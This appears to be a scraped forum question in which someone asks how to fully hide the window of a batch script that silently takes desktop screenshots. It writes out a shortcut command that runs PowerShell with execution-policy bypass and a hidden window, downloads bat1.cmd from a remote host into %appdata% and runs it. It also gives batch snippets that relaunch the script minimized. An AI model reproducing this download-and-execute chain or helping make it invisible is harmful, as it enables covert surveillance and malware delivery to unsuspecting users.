(Batch Script) - Desktop screenshot (functional) but cannot be minimized? -
thank in advance time.
i found/edit batch script (bat1.cmd) take desktop screenshot. working actually. here complete code = https://pastebin.com/kvqgfx5l .
my request here hide/minimize bat1.cmd window when run (within lnk, check "nb" @ end of message).
i made researches , classic solution use kind of scripts :
if not defined is_minimized set is_minimized=1 && start "" /min "%~dpnx0" %* && exit
or
if not "%minimized%"=="" goto :minimized set minimized=true start /min cmd /c "%~dpnx0" goto :eof :minimized
unfortunately batch script (bat1.cmd) have special parameters not allow (?) add kind of "minimize" script (i tried add on top, inside script etc , nothing working).
nb : batch script (bat1.cmd) donwloaded/run within shortcurt (bat1.lnk) adding minimized parameters in lnk won't minimized bat1.cmd window (i guess ?/i made test).
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -w hidden ; (new-object system.net.webclient).downloadfile('http://host.com/bat1.cmd','%appdata%\bat1.cmd');start('%appdata%\bat1.cmd');
thank lot in advance help.
ok have found solution. add "minimize" code @ top, after :batch @echo off. guess alright ? window still appears 0.1 sec , minimized then. any way make totally hidden ? reduced window size column/line. wonder if can change window position (without 3rd party tool) ?
// 2>nul||@goto :batch /* :batch @echo off if not defined is_minimized set is_minimized=1 && start "" /min "%~dpnx0" %* && exit
Comments
Post a Comment